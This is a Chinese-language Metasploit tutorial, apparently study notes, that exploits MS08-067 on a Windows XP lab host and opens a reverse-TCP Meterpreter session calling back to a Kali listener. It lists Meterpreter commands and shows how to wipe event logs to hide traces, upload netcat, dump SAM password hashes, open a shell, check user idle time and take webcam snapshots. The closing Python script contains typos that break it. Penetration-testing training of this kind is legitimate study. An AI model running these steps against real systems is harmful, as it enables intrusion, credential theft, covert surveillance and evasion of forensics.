前言
本節學習metepreter
1、簡介
- 高級、動態、可擴展的 payload
- 基於 metepreter 上下文利用更多漏洞發起攻擊
- 後滲透測試階段一站式操作界面
完全基於內存的 DLL 注入式 payload (不寫硬盤)
- 注入合法系統進程並建立 stager
- 基於 stager 上傳和預加載 dll 進行擴展模塊 TLS/1.0 通信隧道
- 利用 TLS 隧道進一步加載後續擴展模塊(避免網絡取證)
服務端使用 c 語言編寫
客戶端提供基於 ruby 的全特性 API(支持任何語言)
1、簡單使用
msfconsole
msf > meterpreter
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.121 #winxp
msf exploit(ms08_067_netapi) > set target 34 #winxp
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set lhost 192.168.1.113 #kali
msf exploit(ms08_067_netapi) > set lport 4444
msf exploit(ms08_067_netapi) > exploit -j #啓動
msf exploit(ms08_067_netapi) > sessions -l #查看窗口
msf exploit(ms08_067_netapi) > sessions -i 1 #打開反彈過來的shell,這是個meterpreter的shell
2、查看幫助
meterpreter > help
核心命令
=============
命令 描述
------- -----------
? 幫助菜單
background 背景當前會話
bgkill 殺死一個背景meterpreter腳本
bglist 列出運行後臺腳本
bgrun 執行一個meterpreter腳本作爲後臺線程
channel 顯示信息或控制活動頻道
close 關閉頻道
disable_unicode_encoding 禁用unicode字符串的編碼
enable_unicode_encoding 啓用unicode字符串的編碼
exit 終止meterpreter會話
get_timeouts 獲取當前會話超時值
guid 獲取會話GUID
help 幫助菜單
info 顯示有關Post模塊的信息
irb 進入irb腳本模式
load 加載一個或多個meterpreter擴展
machine_id 獲取連接到會話的計算機的MSF ID
migrate 將服務器遷移到另一個進程
pivot 管理數據透視監聽器
quit 終止meterpreter會話
read 從頻道讀取數據
resource 運行存儲在文件中的命令
run 執行meterpreter腳本或Post模塊
sessions 快速切換到另一個會話
set_timeouts 設置當前會話超時值
sleep Force Meterpreter安靜,然後重新建立會話。
transport 更改當前的傳輸機制
use 不推薦使用“加載”別名
uuid 獲取當前會話的UUID
write 將數據寫入通道
Stdapi: 文件系統命令
============================
命令 描述
------- -----------
cat 將文件的內容讀取到屏幕上
cd 更改目錄
checksum 檢索文件的校驗和
cp 將源複製到目標
dir 列表文件(ls的別名)
download 下載文件或目錄
edit 編輯一個文件
getlwd 打印本地工作目錄
getwd 打印工作目錄
lcd 更改本地工作目錄
lls 列出本地文件
lpwd 打印本地工作目錄
ls 列出文件
mkdir 建立目錄
mv 將源移到目標
pwd 打印工作目錄
rm 刪除指定的文件
rmdir 刪除目錄
search 搜索文件
show_mount 列出所有安裝點/邏輯驅動器
upload 上傳文件或目錄
Stdapi: 網絡命令
===========================
命令 描述
------- -----------
arp 顯示主機ARP緩存
getproxy 顯示當前的代理配置
ifconfig 顯示界面
ipconfig 顯示界面
netstat 顯示網絡連接
portfwd 將本地端口轉發到遠程服務
resolve 解析目標上的一組主機名
route 查看和修改路由表
Stdapi: 系統命令
=======================
Command Description
------- -----------
clearev 清除事件日誌
drop_token 放棄任何活動的模擬令牌。
execute 執行一個命令
getenv 獲取一個或多個環境變量值
getpid 獲取當前的進程標識符
getprivs 嘗試啓用當前進程可用的所有權限
getsid 獲取運行服務器的用戶的SID
getuid 獲取服務器正在運行的用戶
kill 終止一個過程
localtime 顯示目標系統的本地日期和時間
pgrep 按名稱過濾進程
pkill 按名稱終止進程
ps 列出運行的進程
reboot 重新啓動遠程計算機
reg 修改遠程註冊表並與之交互
rev2self 在遠程機器上調用RevertToSelf()
shell 放入系統命令外殼
shutdown 關閉遠程計算機
steal_token 嘗試從目標進程中盜取模擬令牌
suspend 暫停或恢復進程列表
sysinfo 獲取有關遠程系統的信息,例如OS
Stdapi: 用戶界面命令
===============================
命令 描述
------- -----------
enumdesktops 列出所有可訪問的桌面和窗口工作站
getdesktop 獲取當前meterpreter桌面
idletime 返回遠程用戶閒置的秒數
keyscan_dump 轉儲按鍵緩衝區
keyscan_start 開始捕捉擊鍵
keyscan_stop 停止捕獲擊鍵
screenshot 獲取交互式桌面的屏幕截圖
setdesktop 更改meterpreters當前桌面
uictl 控制一些用戶界面組件
Stdapi: Webcam 命令
=======================
命令 描述
------- -----------
record_mic 從默認麥克風錄製音頻X秒
webcam_chat 開始視頻聊天
webcam_list 列出網絡攝像頭
webcam_snap 從指定的攝像頭拍攝快照
webcam_stream 從指定的攝像頭播放視頻流
Priv: Elevate Commands
======================
命令 描述
------- -----------
getsystem 嘗試將您的特權提升爲本地系統的特權。
Priv: 密碼數據庫命令
================================
命令 描述
------- -----------
hashdump 轉儲SAM數據庫的內容
Priv: Timestomp 命令
========================
命令 描述
------- -----------
timestomp 操縱文件MACE屬性
3、一些使用
meterpreter > execute -f cmd.exe
meterpreter > ps
meterpreter > getuid
meterpreter > getpid
meterpreter > clearev # 清除日誌,消除痕跡
#上傳文件
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
msf exploit(windows/smb/ms08_067_netapi) > sessions -l
msf exploit(windows/smb/ms08_067_netapi) > sessions -i 1
#讀取密碼
meterpreter > hashdump # 讀取密碼
meterpreter > run post/windows/gather/hashdump # 讀取密碼,兩個命令差不多
#shell
meterpreter > shell
#arp
meterpreter > arp #看arp緩存
#netstat
meterpreter > netstat #看網絡信息
#路由表
meterpreter > route
#目標的空閒時間
meterpreter > idletime #多久沒做操作了,可以估摸目標機的使用者可能不在計算機前
#攝像頭
meterpreter > webcam_list #查看連着的攝像頭
meterpreter >webcam_snap -i 1 -v false #每隔一秒拍一下
4、python 擴展
2015 年11月份,來自社區貢獻
無需運行環境,在客戶端運行原生 python 代碼
meterpreter > load python
meterpreter > python_execute "print ('hello world')" #簡單的print
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
meterpreter > python_import -f find.py #調用腳本
腳本find.py #查找win.ini
import os
for root,dirs,files in os.walk("c://"):
for file in files:
if file.endwith(".ini" ) and file.startwith("win"):
print(os.path.john(root,file))
結語
一站式payload